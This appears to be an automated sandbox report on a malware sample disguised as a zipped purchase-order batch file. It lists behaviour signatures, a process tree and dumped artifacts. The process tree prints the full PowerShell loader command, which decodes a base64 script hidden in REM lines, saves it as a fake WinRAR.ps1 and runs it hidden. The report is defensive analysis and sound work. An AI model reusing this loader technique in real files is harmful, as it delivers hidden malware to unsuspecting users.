Analysis
- user interaction
yes - max time kernel
251s - max time network
243s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
23/04/2026, 07:02
General
- Target OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026).zip
- Size 9KB
- Sample260423-httr2adx2w
- SHA256 4cf21a5ff080bd45b827ae0553d1d72096396f3580ce7f70d097b2c485355221
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 35 IoCs
- Suspicious use of AdjustPrivilegeToken 10 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\Explorer.exeC:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026).zip"1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026)\" -spe -an -ai#7zMap1580:142:7zEvent45471⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026)\" -spe -an -ai#7zMap9317:142:7zEvent48091⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026)\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026).bat" "1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\Desktop\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026)\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026).bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "$s = Get-Content -Raw -Encoding ASCII 'C:\Users\Admin\Desktop\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026)\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026).bat'; $lines = $s -split '\r?\n'; $b = ($lines | Where-Object {$_ -like 'REM B64*'}) -replace '^REM B64\s*',''; $destDir = Join-Path $env:ProgramData 'WinRAR'; If (!(Test-Path $destDir)) { New-Item -ItemType Directory -Path $destDir | Out-Null }; $dest = Join-Path $destDir 'WinRAR.ps1'; [System.IO.File]::WriteAllBytes($dest, [Convert]::FromBase64String(($b -join ''))); Start-Sleep -Milliseconds 50; Start-Process -FilePath 'powershell' -ArgumentList '-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "' + $dest + '"' -WindowStyle Hidden"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File "C:\ProgramData\WinRAR\WinRAR.ps1"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vtzgcitj\vtzgcitj.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES641A.tmp" "c:\Users\Admin\AppData\Local\Temp\vtzgcitj\CSC7BDE3ABD6340480887137BF77394AD.TMP"5⤵
-
-
-
-
-
C:\Windows\System32\NOTEPAD.EXE"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026)\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026).bat1⤵
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
WinRAR.ps1
powershell.exe.log
StartupProfileData-NonInteractive
RES641A.tmp
__PSScriptPolicyTest_zgkhyr4u.k22.ps1
vtzgcitj.dll
OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026).bat
CSC7BDE3ABD6340480887137BF77394AD.TMP
vtzgcitj.0.cs
vtzgcitj.cmdline
memory/700-14-0x0000026C0E610000-0x0000026C0E61C000-memory.dmp
memory/700-10-0x0000026C26E90000-0x0000026C26EB2000-memory.dmp
memory/700-15-0x0000026C0EB80000-0x0000026C0EB88000-memory.dmp
memory/4600-47-0x000001DCC50A0000-0x000001DCC50A8000-memory.dmp
memory/4600-48-0x000001DCC50C0000-0x000001DCC50CC000-memory.dmp
memory/4992-32-0x00007FFC9ADC0000-0x00007FFC9B881000-memory.dmp
memory/4992-26-0x0000019A79F90000-0x0000019A79F9C000-memory.dmp
memory/4992-50-0x0000019A7A110000-0x0000019A7A118000-memory.dmp
memory/4992-27-0x0000019A7A0A0000-0x0000019A7A0A8000-memory.dmp
memory/4992-51-0x0000019A7A6F0000-0x0000019A7A706000-memory.dmp
memory/6052-44-0x0000014DEF030000-0x0000014DEF03C000-memory.dmp